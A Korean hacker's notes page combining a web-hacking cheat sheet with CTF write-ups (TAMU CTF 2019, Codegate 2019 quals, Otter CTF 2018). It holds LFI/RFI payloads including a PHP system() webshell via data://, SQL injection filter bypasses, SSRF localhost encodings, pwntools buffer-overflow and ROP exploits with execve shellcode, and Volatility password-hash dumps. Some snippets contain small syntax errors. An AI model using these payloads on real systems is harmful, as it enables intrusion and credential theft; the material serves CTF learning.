두 개의 문자 xor연산 할 때 itertools cycle 모듈 사용해서 인덱스가 끝나도 처음으로 가서 계속 xor 연산 가능

zip 함수는 두 개의 리스트의 같은 인덱스를 짝 지어준다.

Ex) [1,2] [3,4] 있으면 (1,3) (2,4) 이런식으로

from itertools import cycle
a="Eo@GxVoclNqioF^tkF^clNqyoFe}"
b="\x03#\x01\x00"
flag=""
for x,y in zip(a,cycle(b)):
	flag += chr(ord(x)^ord(y))
print flag


ctypes

아래 예제처럼 응용

from ctypes import CDLL
libc = CDLL("/lib/x86_64-linux-gnu/libc.so.6") # Windows -> msvcrt
libc.srand(libc.time(0))
libc.rand()


BruteForce

이런식으로 리스트의 모든 조합의 경우를 구할 수 있다.

from itertools import permutations
a=[1,2,3]
table = permutations(a)
# 만약 2개씩 짝 지을거면 permutations(a,2)
for i in table:
  print list(i)

ida python

ifind('call') : 호출되는 함수볼 수 있음


Web Tips

Use python requests

import requests

req = requests.post('주소', data={'name': value, cookies={'PHPSESSID': session})
import requests
head={'user-agent': 'Test'}
req = requests.get(ADDRESS, headers=head)


Use cURL

curl -d "id=admin&pw=admin&press=Login" ADDRESS
curl ADDRESS -H 'header: header' --data 'data=data'


Magic hash

"0e1354" == "0e87453" // true
"0" == "0e7124511451155" //true
"0" == md5("240610708") // true
"0" == sha1("w9KASOk6Ikap") // true
md5("QLTHNDT") == md5("QNKCDZO") // true

Link


LFI & RFI

http://URL/?page=php://filter/convert.base64-encode/resource=index.php

http://URL/?page=php://filter/convert.base64-decode/resource=./upload/abcde

http://URL/?page=data://text/plain,%3Cxmp%3E%3C?php%20system($_GET[%27x%27]);&x=ls%20-al

http://URL/?page=http://pastebin.com/raw/abcd/?&x=ls%20-al


127.0.0.1

http://2130706433

http://0x7f000001

http://0x7f.0x00.0x00.0x01

http://017700000001

http://0177.000.000.01


MySQL

다음 라인 : %0a //주석처리를 하더라도 다음 줄로 넘겨버리면 무시된다.
주석 처리 : -- # ;%00 /**/
파라미터가 두개 있을경우 \를 입력해 뒤의 '를 무력화 후 쿼리문을 스트링화 시키고 뒤에 파라미터에 exploit을 수행할 수 있다.
%0a 말고도 %0b 등 대신 쓰일 수 있는 여러문자들이 있다.
비교 문자 : = like in strcmp()
문자 자르기 : strcmp left right mid Function
and == &&, or ==||
if ord Function Filtering : conv(hex(substr(pw,1,1)),16,10)
공백 대신 : /**/ %09 %0a ()
IF(substr(lpad(bin(ord(substr(password,1,1))),8,0),1,1)


SQLI

String Filtering [ preg_match - ex) admin]

admin : 0x61646d696e 0b0110000101100100011011010110100101101110 char(0x61, 0x64, 0x6d, 0x69, 0x6e)


Blind SQL Injection Equal(=) Filltering

substr('abc',1,1)like('a')
if(strcmp(substr('abc',1,1),'a'),0,1)
substr('abc',1,1)%20in('a')


substr Filtering

right(left('abc',1),1)
id > 0x41444d4941 'ADMIN' > 'ADMIA'(hex)


ereg, eregi

'admin' Filtering -> 'AdmIN' bypass
FRONT %00 INSERT -> 뒤에 문자 필터링 처리 안됨


replace, replaceAll, str_replace

'admin' Filtering -> 'adadminmin' 'adadmimin' 'admadminin' 'admdmiadmdmiinin'


Numeric Character Filtering

0 -> '!'='@' -> false
1 -> '!'='!' -> true


White Space Filtering (%20)

%20 -> %0a %0b %0c %0d %09


Single Quoter Filtering (%27)

Use Double Quote in Single Quote
if '\' not Filtering
-> select TEST from TABLE where id='\' and pw=' or 1#
parameter : id=\&pw=%20or%201%23


Comment Injection

'#'의 주석 범위는 1 line이다. 1 line을 나누는 기준은 %0a로 나눈다.
-> select test1 from TABLE where id='abc'# and pw='%0a or id='admin'%23
'/* */'
-> select test1 from TABLE where id='abc'/* and pw=''*/ or id='admin'%23


Table and Column

select test1 from test where id='admin' and pw='1234' procedure analyse();

-> Use with limit 2,1


SQL Injection Attack Success

Use '(Single Quoter) Error
-> ' and '1'='1 , ' and '1'='2
앞은 정상적 출력되고 뒤는 출력이 안나면 성공
' or '1'='1 -> 정상 출력 되면 성공
Number Column
-> if idx=23001 == idx=23002-1 이렇게 넣었을때 정상 출력 되면 성공
Comment
-> #(%23), -- (--%20), %0a


Filtering

=이 필터링 되었을 때
1' or 2>1 -- 이렇게 조건 참 만들어서 인젝션할 수 있다.

../를 replace해주면 .././로 "../"로 만들 수 있다.


Unpacking js

console.log()


Reference by ar9ang3

2019 Tamu CTF Writeup

혼자 참여해서 2472팀중에 348등 5061 points로 끝냈고 22문제를 풀었다.

Pwnable

포..넙

Pwn1

from pwn import *

# p = remote('pwn.tamuctf.com',4321)
p = process('./pwn1')
e = ELF('./pwn1')
shell=0xDEA110C8
p.sendlineafter('What... is your name?','Sir Lancelot of Camelot')
p.sendlineafter('What... is your quest?','To seek the Holy Grail.')
p.recvuntil('What... is my secret?')
payload = ''
payload += 'A'*(0x3b-0x10)
payload += p32(shell)
p.sendline(payload)
p.interactive()

FLAG : gigem{34sy_CC428ECD75A0D392}


Pwn2

from pwn import *

# p = remote('pwn.tamuctf.com',4322)
p = process('./pwn2')
e = ELF('./pwn2')
flag_fun=0x000006d8
p.recvuntil('Which function would you like to call?')
payload = 'A'*30
payload += p32(flag_fun)
p.sendline(payload)
p.interactive()

FLAG : gigem{4ll_17_74k35_15_0n3}


Pwn3

from pwn import *

# p = remote('pwn.tamuctf.com',4323)
p = process('./pwn3')
e = ELF('./pwn3')

sh = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
p.recvuntil('Take this, you might need it on your journey ')
add = int(p.recv(10),0)
payload=''
payload += sh
payload += 'A'*(302-len(sh))
payload += p32(add)
p.sendline(payload)
p.interactive()

FLAG : gigem{r3m073_fl46_3x3cu710n}


Pwn4

Pwn4와 Pwn5는 그냥 살짝 쉽게 푸는 법이 있는데 이게 Enter the arguments you would like to pass to ls: 이후에 몇 바이트만 받는데 약 4? 5인가? 이게 ls명령어를 실행하니까 &sh 로 쉘을 딸 수 있었다.

ex 1)

from pwn import *

# p = remote('pwn.tamuctf.com',4324)
p = process('./pwn4')
e = ELF('./pwn4')

gets_plt=e.plt['gets']
system_plt=e.plt['system']
pr_add=0x80486DB

p.recvuntil('Enter the arguments you would like to pass to ls:')
payload=''
payload+='A'*37
payload+=p32(gets_plt)
payload+=p32(pr_add)
payload+=p32(e.bss())

payload+=p32(system_plt)
payload+='A'*4
payload+=p32(e.bss())

p.sendline(payload)
p.sendline('/bin/sh\x00')
sleep(0.5)
p.interactive()

ex 2)

$ nc pwn.tamuctf.com 4324
ls as a service (laas)(Copyright pending)
Enter the arguments you would like to pass to ls:
&sh
Result of ls &sh:
flag.txt
pwn4
cat flag.txt
gigem{5y573m_0v3rfl0w}

FLAG : gigem{5y573m_0v3rfl0w}


Pwn5

”“"”…

$ nc pwn.tamuctf.com 4325
ls as a service (laas)(Copyright pending)
Version 2: Less secret strings and more portable!
Enter the arguments you would like to pass to ls:
&sh
Result of ls &sh:
flag.txt
pwn5
cat flag.txt
gigem{r37urn_0r13n73d_pr4c71c3}

FLAG : gigem{r37urn_0r13n73d_pr4c71c3}


Reversing

이지한데 어려운건 너무 어려웠다.

Cheesy

Base64 느낌의 인코딩이 많은거 같아서 그냥 다 디코딩해주었다. 그 중에서 플래그가 있었다.

import base64
print base64.b64decode('Z2lnZW17M2E1eV9SM3YzcjUxTjYhfQ==')

FLAG : gigem{3a5y_R3v3r51N6!}


Snakes over cheese

pyc 파일이 주어져서 디컴파일해주었다. 그냥 시계는 의미없고 table1의 값을 다 문자로 바꾸어주었더니 플래그가 나왔다.

table1 = [
 102, 108, 97, 103, 123, 100, 101, 99, 111, 109, 112, 105, 108, 101, 125]

FLAG : gigem{decompile}


042

.s파일이 주어졌다. at&t 문법이였다. 평소에 Intel만 사용해서 그런지 거꾸로 대입해야했다. 일단 L_.str.2 에서 플래그를 출력해주는 거 같았다. 근데 문제가 너무 간단하게 rbp-16 ~ rbp-9까지 넣은 값이 gigem(“%s”) 안에 들어간다. 저 값들을 문자열로 바꾸어주면 된다.

movb	$65, -16(%rbp)
movb	$53, -15(%rbp)
movb	$53, -14(%rbp)
movb	$51, -13(%rbp)
movb	$77, -12(%rbp)
movb	$98, -11(%rbp)
movb	$49, -10(%rbp)
movb	$89, -9(%rbp)

FLAG : gigem{A553Mb1Y}


KeyGenMe

그냥 브루트포스 코드짜서 돌렸다. 값은 무수히 많았다. 근데 마지막에 막혀서 아쉬운게 분석해보면 마지막에 한글자가 더 붙어서 나오는데 한글자 빼고 값을 넣어줘야 ` [OIonU2_<__nK<KsK` 이 값이 나온다. ㅠㅠ

FLAG : gigem{k3y63n_m3?_k3y63n_y0u!}


Cr4ckZ33C0d3

파이썬 모듈 z3와 angr를 활용해서 풀 수 있는 문제였다. 이거에서 시간 좀 많이 쓴듯하다.

import angr
from pwn import *

p=angr.Project("./prodkey",load_options={'auto_load_libs':True})
ex=p.surveyors.Explorer(find=(0x400e7f,),avoid=(0x400ead,))
ex.run()
#print ex.found[0].state.posix.dumps(3)
key = ex.found[0].state.posix.dumps(3)
e = process('./prodkey')
#e = remote('rev.tamuctf.com',8189)
e.sendlineafter('Please Enter a product key to continue:',key)
e.interactive()


NoCCBytes

이건 소스가 좀 긴데 그냥 마지막에 passCheck해주는 부분을 보면 전역변수 globPass라는 변수와 xor해주길래 그냥 브루트포스 돌렸다. 그 중에서 그나마 그럴싸한 WattoSays 가 password인 거 같아서 넣어줬는데 맞았다.

FLAG : gigem{Y0urBreakpo1nt5Won7Work0nMeOnlyMon3y}


Android

Secrets

howdyapp.apk라는 파일이 주어진다. 디컴파일 해주고 strings보니까 base64 인코딩된 문자가 있어서 디코드 해주었다.

FLAG : gigem{infinite_gigems}


Crypto

-.-

엄청난 양의 Morse Code가 있어서 코드짜서 그냥 쉽게 돌려주었다. 그러면 엄청난 양의 16진수가 나오는데 iHex에 붙여넣기 했더니 끝 부분에 플래그가 있었다.

table = "dah-dah-dah-dah-dah dah-di-di-dah di-di-di-di-dit dah-dah-di-di-dit dah-dah-di-di-dit dah-dah-dah-dah-dah di-di-dah-dah-dah di-dah dah-di-di-di-dit dah-di-dah-dit di-di-di-di-dit dah-dah-dah-di-dit dah-dah-di-di-dit di-di-di-di-dah di-di-di-di-dah dah-dah-di-di-dit di-di-di-di-dit di-dah-dah-dah-dah di-di-di-dah-dah dah-dah-dah-di-dit dah-di-di-di-dit di-di-di-di-dit di-di-di-dah-dah dah-dah-dah-di-dit dah-dah-di-di-dit di-dah-dah-dah-dah dah-di-di-di-dit dit dah-di-di-di-dit dah-di-dit di-di-di-di-dah dah-di-dit di-di-di-di-dit dah-dah-dah-dah-dit di-di-di-di-dit di-di-di-di-dit di-di-dah-dah-dah di-dah dah-dah-di-di-dit di-di-di-dah-dah dah-dah-di-di-dit dah-di-di-di-dit di-di-di-di-dah dah-di-di-di-dit di-di-di-di-dah dah-dah-dah-di-dit dah-di-di-di-dit dah-di-di-dit dah-di-di-di-dit di-dah di-di-di-di-dah dah-dah-dah-dah-dit dah-dah-di-di-dit di-di-di-di-dah di-di-dah-dah-dah di-dah di-di-di-di-dit di-di-dah-dah-dah di-di-di-di-dit di-dah-dah-dah-dah di-di-dah-dah-dah dah-di-di-di-dit di-di-di-di-dah di-dah dah-dah-di-di-dit dah-dah-dah-dah-dah di-di-di-di-dit di-dah dah-dah-di-di-dit dah-di-di-di-dit dah-di-di-di-dit di-dah dah-di-di-di-dit dah-di-dit di-di-dah-dah-dah di-dah-dah-dah-dah di-di-dah-dah-dah di-di-di-di-dit di-di-dah-dah-dah di-di-di-di-dit di-di-di-di-dah dah-di-di-dit di-di-di-di-dah di-di-di-di-dah dah-di-di-di-dit dah-di-di-dit dah-di-di-di-dit dah-di-di-di-dit dah-dah-di-di-dit dah-dah-dah-dah-dah di-di-dah-dah-dah di-di-di-dah-dah di-di-di-di-dit dit di-di-di-di-dah dit di-di-di-dah-dah dah-dah-dah-dah-dit dah-di-di-di-dit dah-di-di-di-dit dah-di-di-di-dit dah-di-di-dit di-di-di-dah-dah di-di-di-di-dah dah-di-di-di-dit di-di-di-di-dah di-di-di-di-dit di-di-di-di-dit di-di-di-dah-dah di-di-di-di-dah dah-di-di-di-dit dah-di-dah-dit di-di-di-di-dah di-di-dah-dah-dah di-di-di-dah-dah di-di-di-dah-dah dah-dah-di-di-dit di-di-dah-dah-dah di-di-di-di-dit di-di-di-di-dah dah-di-di-di-dit di-di-dah-dit di-di-di-di-dit di-di-di-di-dah di-di-di-dah-dah dah-dah-dah-dah-dah di-di-di-di-dit dah-dah-dah-dah-dah di-di-di-di-dit di-dah di-di-di-di-dit di-dah-dah-dah-dah dah-di-di-di-dit dah-di-dit di-di-di-di-dah di-di-di-dah-dah di-di-di-di-dit di-dah-dah-dah-dah di-di-di-di-dah di-di-di-di-dit di-di-di-di-dah dah-di-di-dit di-di-di-di-dit dah-dah-dah-dah-dit di-di-di-di-dah di-di-dah-dah-dah di-di-di-dah-dah di-di-di-di-dah di-di-di-di-dit di-dah di-di-di-di-dah dah-di-dit dah-dah-di-di-dit dah-di-di-di-dit di-di-dah-dah-dah di-dah di-di-dah-dah-dah di-dah-dah-dah-dah di-di-di-di-dah dah-di-di-di-dit dah-di-di-di-dit dah-di-di-dit di-di-di-dah-dah dah-dah-dah-di-dit dah-di-di-di-dit dah-di-dah-dit di-di-dah-dah-dah di-di-di-di-dit dah-di-di-di-dit di-di-dah-dah-dah dah-di-di-di-dit di-dah dah-dah-di-di-dit di-dah-dah-dah-dah dah-di-di-di-dit dah-di-dah-dit di-di-di-di-dit dah-dah-dah-dah-dah di-di-di-di-dah dah-di-dit dah-di-di-di-dit dah-di-di-di-dit di-di-di-di-dah dah-dah-dah-dah-dit di-di-di-di-dah dah-dah-di-di-dit dah-di-di-di-dit dah-di-dit dah-di-di-di-dit di-dah-dah-dah-dah di-di-dah-dah-dah di-di-di-di-dit di-di-dah-dah-dah di-di-di-di-dit di-di-di-di-dah dah-di-di-di-dit dah-dah-di-di-dit di-dah di-di-di-di-dah dah-dah-di-di-dit di-di-dah-dah-dah dah-dah-dah-dah-dah dah-di-di-di-dit dah-dah-di-di-dit dah-di-di-di-dit dah-dah-dah-dah-dit dah-di-di-di-dit dah-dah-di-di-dit dah-di-di-di-dit di-di-di-di-dit dah-di-di-di-dit dah-di-dit dah-dah-di-di-dit dah-di-di-dit di-di-di-di-dah di-di-di-dah-dah di-di-di-dah-dah di-dah-dah-dah-dah dah-di-di-di-dit dah-dah-dah-dah-dit dah-di-di-di-dit di-di-di-dah-dah di-di-di-di-dah dah-di-di-dit di-di-di-di-dit di-di-dah-dit dah-di-di-di-dit di-di-di-dah-dah dah-di-di-di-dit dah-di-dah-dit di-di-di-dah-dah di-dah-dah-dah-dah di-di-di-di-dah di-di-di-dah-dah di-di-di-di-dah dah-di-di-dit di-di-dah-dah-dah dah-di-dit dah-dah-di-di-dit dah-dah-dah-dah-dit di-di-di-dah-dah dah-dah-dah-dah-dah dah-dah-di-di-dit di-di-di-di-dit di-di-di-di-dit di-di-dah-dit dah-di-di-di-dit dah-dah-dah-di-dit di-di-di-dah-dah di-di-di-di-dah dah-dah-di-di-dit dah-di-di-di-dit di-di-di-dah-dah di-di-di-dah-dah di-di-di-di-dit di-di-dah-dit dah-di-di-di-dit dah-di-dit di-di-di-dah-dah di-di-di-di-dah di-di-di-di-dah dah-dah-dah-dah-dit di-di-di-dah-dah di-dah-dah-dah-dah dah-dah-di-di-dit dah-di-dit di-di-dah-dah-dah dah-dah-dah-dah-dah dah-dah-di-di-dit di-di-di-di-dit dah-dah-di-di-dit dah-di-di-di-dit di-di-di-dah-dah di-di-di-di-dah dah-dah-di-di-dit dah-di-di-di-dit dah-dah-di-di-dit di-dah di-di-di-di-dah dah-di-di-dit di-di-di-di-dit di-dah dah-dah-di-di-dit di-di-di-di-dah di-di-di-dah-dah di-di-di-di-dah dah-dah-di-di-dit dah-dah-dah-dah-dit dah-di-di-di-dit di-di-dah-dit dah-di-di-di-dit dah-di-dit dah-di-di-di-dit dah-dah-dah-dah-dit di-di-di-di-dah di-di-di-di-dah di-di-di-di-dit di-di-di-dah-dah dah-di-di-di-dit dah-dah-dah-di-dit di-di-di-di-dah dah-di-dah-dit dah-di-di-di-dit dah-di-dit di-di-di-dah-dah dah-dah-dah-di-dit di-di-di-di-dit di-dah-dah-dah-dah di-di-di-di-dah di-di-di-di-dit di-di-di-di-dah dah-di-di-di-dit dah-di-di-di-dit dit di-di-di-di-dit di-di-di-di-dit dah-dah-di-di-dit di-di-di-di-dah dah-dah-di-di-dit dah-dah-di-di-dit di-di-di-di-dah di-dah di-di-di-di-dah dah-dah-dah-dah-dah di-di-di-di-dah dit dah-dah-di-di-dit di-di-di-di-dit di-di-di-di-dah di-di-dah-dit di-di-di-di-dit dah-dah-dah-dah-dit dah-di-di-di-dit dah-di-di-di-dit di-di-di-di-dit dah-dah-dah-di-dit di-di-dah-dah-dah dah-di-di-di-dit di-di-di-dah-dah dah-dah-dah-di-dit dah-dah-di-di-dit di-di-di-di-dit di-di-di-di-dah dah-dah-dah-dah-dah di-di-di-di-dah dah-dah-di-di-dit dah-di-di-di-dit dit di-di-dah-dah-dah di-dah-dah-dah-dah di-di-di-dah-dah di-dah-dah-dah-dah di-di-dah-dah-dah di-di-di-di-dit di-di-di-di-dit di-di-di-di-dah dah-dah-di-di-dit di-dah-dah-dah-dah dah-dah-di-di-dit dah-di-di-di-dit di-di-di-dah-dah dah-dah-dah-dah-dah di-di-di-di-dit dah-di-di-di-dit dah-di-di-di-dit di-di-di-dah-dah di-di-di-di-dit di-di-dah-dah-dah dah-dah-di-di-dit di-dah di-di-di-di-dit dah-di-di-di-dit di-di-dah-dah-dah di-dah-dah-dah-dah dah-di-di-di-dit di-dah di-di-dah-dah-dah di-dah-dah-dah-dah dah-dah-di-di-dit dah-di-di-di-dit dah-dah-di-di-dit di-di-di-di-dit dah-dah-di-di-dit di-di-di-di-dit dah-dah-di-di-dit dah-dah-dah-dah-dah di-di-di-dah-dah dah-dah-dah-di-dit di-di-di-di-dah di-di-dah-dah-dah dah-di-di-di-dit di-dah dah-di-di-di-dit di-di-di-di-dah di-di-di-di-dah dit di-di-di-di-dah dah-dah-dah-dah-dit dah-dah-di-di-dit di-dah-dah-dah-dah di-di-di-di-dah di-di-di-di-dit di-di-di-dah-dah di-di-di-di-dit dah-dah-di-di-dit dah-dah-di-di-dit di-di-dah-dah-dah di-di-di-dah-dah di-di-dah-dah-dah di-di-di-di-dah di-di-dah-dah-dah di-di-di-di-dit di-di-di-di-dit dah-di-di-di-dit di-di-di-dah-dah di-di-di-di-dah di-di-di-di-dit di-di-di-di-dit di-di-di-di-dit di-dah di-di-di-di-dah di-di-dah-dit di-di-di-di-dit dah-dah-dah-dah-dit di-di-di-di-dit di-dah di-di-di-dah-dah di-di-dah-dah-dah dah-dah-di-di-dit di-dah di-di-di-dah-dah dah-dah-di-di-dit di-di-di-di-dit di-di-di-di-dah di-di-di-dah-dah di-di-dah-dah-dah di-di-di-dah-dah di-di-di-di-dit dah-dah-di-di-dit di-di-di-di-dah di-di-di-dah-dah dah-dah-di-di-dit di-di-dah-dah-dah dah-di-di-di-dit dah-dah-di-di-dit dah-dah-dah-di-dit di-di-di-di-dah dah-di-dah-dit di-di-di-di-dah dah-dah-dah-dah-dah di-di-di-di-dit dah-dah-di-di-dit di-di-di-di-dah di-di-dah-dit di-di-di-dah-dah dah-dah-di-di-dit di-di-di-dah-dah di-di-di-di-dah di-di-di-dah-dah di-dah-dah-dah-dah di-di-di-dah-dah dah-dah-dah-dah-dah di-di-di-di-dit di-dah-dah-dah-dah di-di-di-di-dah dah-dah-dah-dah-dit"
table = table.split(' ')

solve = {
	"dah-dah-dah-dah-dah" : '0',
	"di-dah-dah-dah-dah" : '1',
	"di-di-dah-dah-dah" : '2',
	"di-di-di-dah-dah" : '3',
	"di-di-di-di-dah" : '4',
	"di-di-di-di-dit" : '5',
	"dah-di-di-di-dit" : '6',
	"dah-dah-di-di-dit" : '7',
	"dah-dah-dah-di-dit" : '8',
	"dah-dah-dah-dah-dit" : '9',
	"di-dah" : 'A',
	"dah-di-di-dit" : 'B',
	"dah-di-dah-dit" : 'C',
	"dah-di-dit" : 'D',
	"dit" : 'E',
	"di-di-dah-dit" : 'F'
    "dah-di-di-dah" : 'X',
}
flag=""
#print solve
for i in range(len(table)):
	for j in table:
		flag += solve[j]
print flag

FLAG : gigem{C1icK_cl1CK-y0u_h4v3_m4I1}


그 외 다른 문제들은 안 쓰겠다. ㅎㅅㅎ

2019 Codegate Quals Writeup

팀명 : 앙진헌띠

주니어부 23등

어쩌다 보니 본선에 가게되었다.. ㅎㅎ

MIC check

9P&;gFD,5.BOPCdBl7Q+@V’1dDK?qL 를 디코딩하라고 한다.

ASCII-85 디코딩 해주면 플래그가 나온다.

FLAG : Let the hacking begins ~


20000

nc 와 20000이라는 바이너리와 20000개의 .so파일이 주어진다.

20000 바이너리의 메인함수이다. 메인에서 1~20000까지 입력받는데 이 입력 받은 수의 라이브러리 파일을 불러와서 test 함수를 실행시켜준다. 그리고 쉘을 따면 될 거 같다.

signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char *v3; // rax
  signed __int64 result; // rax
  void *v5; // rdi
  char *v6; // rax
  int input; // [rsp+Ch] [rbp-94h]
  void (__fastcall *v8)(void *, const char *); // [rsp+10h] [rbp-90h]
  void *handle; // [rsp+18h] [rbp-88h]
  char s; // [rsp+20h] [rbp-80h]
  int v11; // [rsp+80h] [rbp-20h]
  int v12; // [rsp+84h] [rbp-1Ch]
  unsigned __int64 v13; // [rsp+88h] [rbp-18h]

  v13 = __readfsqword(0x28u);
  print_map();
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  memset(&s, 0, 0x60uLL);
  v11 = 0;
  printf("INPUT : ", 0LL, &v12);
  __isoc99_scanf("%d", &input);
  if ( input <= 0 && input > 20000 )
  {
    printf("Invalid Input", &input);
    exit(-1);
  }
  sprintf(&s, "./20000_so/lib_%d.so", input);
  handle = dlopen(&s, 1);
  if ( handle )
  {
    v5 = handle;
    v8 = dlsym(handle, "test");
    if ( v8 )
    {
      v8(v5, "test");
      dlclose(handle);
      result = 0LL;
    }
    else
    {
      v6 = dlerror();
      fprintf(stderr, "Error: %s\n", v6);
      dlclose(handle);
      result = 1LL;
    }
  }
  else
  {
    v3 = dlerror();
    fprintf(stderr, "Error: %s\n", v3);
    result = 1LL;
  }
  return result;
}

하지만 문제가 20000개의 lib 파일에서 무슨 파일인지 알 수 없었다. 왜 20000개인지 알 거 같았다. 마지막 수정 일 순으로 정렬해보면 lib_17394.so 파일만 수정일이 오전 10시 37분이였다. 다른 .so파일들은 수정일이 오후 10시 33분이였다.

signed __int64 test()
{
  char *v0; // rax
  signed __int64 result; // rax
  char *v2; // rax
  void (__fastcall *v3)(char *, char *); // [rsp+0h] [rbp-B0h]
  void (__fastcall *v4)(char *); // [rsp+8h] [rbp-A8h]
  void *handle; // [rsp+10h] [rbp-A0h]
  void *v6; // [rsp+18h] [rbp-98h]
  char buf; // [rsp+20h] [rbp-90h]
  __int16 v8; // [rsp+50h] [rbp-60h]
  char s; // [rsp+60h] [rbp-50h]
  __int16 v10; // [rsp+90h] [rbp-20h]
  unsigned __int64 v11; // [rsp+98h] [rbp-18h]

  v11 = __readfsqword(0x28u);
  memset(&buf, 0, 0x30uLL);
  v8 = 0;
  memset(&s, 0, 0x30uLL);
  v10 = 0;
  handle = dlopen("./20000_so/lib_4323.so", 1);
  if ( handle )
  {
    v3 = dlsym(handle, "filter1");
    v6 = dlopen("./20000_so/lib_11804.so", 1);
    if ( v6 )
    {
      v4 = dlsym(v6, "filter2");
      puts("This is lib_17394 file.");
      puts("How do you find vulnerable file?");
      read(0, &buf, 0x32uLL);
      v3(&buf, &buf);
      v4(&buf);
      sprintf(&s, "%s 2 > /dev/null", &buf);
      system(&s);
      dlclose(handle);
      dlclose(v6);
      result = 0LL;
    }
    else
    {
      v2 = dlerror();
      fprintf(stderr, "Error: %s\n", v2);
      result = 0xFFFFFFFFLL;
    }
  }
  else
  {
    v0 = dlerror();
    fprintf(stderr, "Error: %s\n", v0);
    result = 0xFFFFFFFFLL;
  }
  return result;
}

lib_17394.so 를 보면 lib_4323.so 라이브러리의 fillter1을 실행시키고 lib_11804.so 라이브러리의 fillter2를 실행시켜준다. 그러면 이제 fillter만 우회해서 쉘을 따주면 될 거 같다. system(&s) 를 실행시켜주니까 저기에 쉘을 넣어주면 될 거 같다.

Exploit Code

#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *

# testlib = CDLL('./c1e3a33d8932a4a61b0e0e0e49d6c9bc/20000_so/lib_17394.so')
"""
Filltering
; * | & $ ` > < v m p d f g l
r bash
"""
#p = process('././c1e3a33d8932a4a61b0e0e0e49d6c9bc/20000')
p = remote('110.10.147.106',15959)
print p.sendlineafter('INPUT :','17394')
print p.sendlineafter('How do you find vulnerable file?','/bin/sh')
p.interactive()

FLAG : Are_y0u_A_h@cker_in_real-word?

2018 Otter CTF Writeup

1 - What the password? - 100pt

you got a sample of rick’s PC’s memory. can you get his user password?

format: CTF{…}

$ vol.py -f OtterCTF.vmem --profile=Win7SP1x64 hashdump -s 0xfffff8a0016d4010

Volatility Foundation Volatility Framework 2.6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Rick:1000:aad3b435b51404eeaad3b435b51404ee:518172d012f97d3a8fcc089615283940:::

hivescan 해준걸 hashdump떠서 봤는데 이렇게 3개의 계정이 나왔다.

$ vol.py -f OtterCTF.vmem --profile=Win7SP1x64 lsadump
Volatility Foundation Volatility Framework 2.6
DefaultPassword
0x00000000  28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   (...............
0x00000010  4d 00 6f 00 72 00 74 00 79 00 49 00 73 00 52 00   M.o.r.t.y.I.s.R.
0x00000020  65 00 61 00 6c 00 6c 00 79 00 41 00 6e 00 4f 00   e.a.l.l.y.A.n.O.
0x00000030  74 00 74 00 65 00 72 00 00 00 00 00 00 00 00 00   t.t.e.r.........

DPAPI_SYSTEM
0x00000000  2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ,...............
0x00000010  01 00 00 00 36 9b ba a9 55 e1 92 82 09 e0 63 4c   ....6...U.....cL
0x00000020  20 74 63 14 9e d8 a0 4b 45 87 5a e4 bc f2 77 a5   .tc....KE.Z...w.
0x00000030  25 3f 47 12 0b e5 4d a5 c8 35 cf dc 00 00 00 00   %?G...M..5......

lsadump 떠줘서 가져왔다.

예시 : https://www.aldeid.com/wiki/Volatility/Retrieve-password

lsadump plugin : https://github.com/volatilityfoundation/volatility/blob/master/volatility/plugins/registry/lsadump.py

FLAG : CTF{MortyIsReallyAnOtter}


2 - General Info - 75pt

Let’s start easy - whats the PC’s name and IP address?

format: CTF{flag}

PC name

hive스캔을 먼저 떠줬다.

$ vol.py -f OtterCTF.vmem --profile=Win7SP1x64 hivelist

그리고 컴퓨터 이름이 저장된 레지스트리로 가서 가져왔다.

컴퓨터 이름 레지스트리 : HKLM\SYSTEM\ControlSet00X\Control\ComputerName\ActiveComputerName

$ vol.py -f OtterCTF.vmem --profile=Win7SP1x64 printkey -o 0xfffff8a000024010 -K \ControlSet001\\Control\\ComputerName\\ActiveComputerName
Volatility Foundation Volatility Framework 2.6
Legend: (S) = Stable   (V) = Volatile

----------------------------
Registry: \REGISTRY\MACHINE\SYSTEM
Key name: ActiveComputerName (V)
Last updated: 2018-08-04 19:26:11 UTC+0000

Subkeys:

Values:
REG_SZ        ComputerName    : (V) WIN-LO6FAF3DTFE

FLAG : CTF{WIN-LO6FAF3DTFE}


PC IP

netscan 해줘서 local Adress를 가져왔다.

$ vol.py -f OtterCTF.vmem --profile=Win7SP1x64 netscan

FLAG : CTF{192.168.202.131}


3 - Play Time - 50pt

Rick just loves to play some good old videogames. can you tell which game is he playing? whats the IP address of the server?

format: CTF{flag}

Game name

프로세스 목록들보면 LunarMs.exe라는 게임을 하고 있었다.

FLAG : CTF{LunarMS}


Server IP

netscan따서 192.168.202.131과 LunarMs의 Foreign Address를 가져왔다.

FLAG : CTF{77.102.199.102}


4 - Name Game - 100pt

We know that the account was logged in to a channel called Lunar-3. what is the account name?

format: CTF{flag}

$ vol.py -f OtterCTF.vmem --profile=Win7SP1x64 memdump -p 708 -D .

먼저 LunarMS 게임을 덤프 떠서 가져온다. LunarMS의 pid는 708이다

strings -a 708.dmp > prob3.txt

거기서 strings로 따서 Lunar-3를 검색해보면 Lunar-3 밑에 0tt3r8r33z3 가 적혀있었다. FLAG같아서 인증했다.

FLAG : CTF{CTF{0tt3r8r33z3}}


5 - Name Game2 - 150pt

From a little research we found that the username of the logged on character is always after this signature: 0x64 0x??{6-8} 0x40 0x06 0x??{18} 0x5a 0x0c 0x00{2} What’s rick’s character’s name?

format: CTF{…}

No solve


6 - Silly Rick - 100pt

Silly rick always forgets his email’s password, so he uses a Stored Password Services online to store his password. He always copy and paste the password so he will not get it wrong. whats rick’s email password?

format: CTF{flag}

복사 붙여넣기를 사용한다고 했다. clipboard 플러그인을 사용해서 해당 값을 가져왔다.

$ vol.py -f OtterCTF.vmem --profile=Win7SP1x64 clipboard
Volatility Foundation Volatility Framework 2.6
Session    WindowStation Format                         Handle Object             Data
---------- ------------- ------------------ ------------------ ------------------ --------------------------------------------------
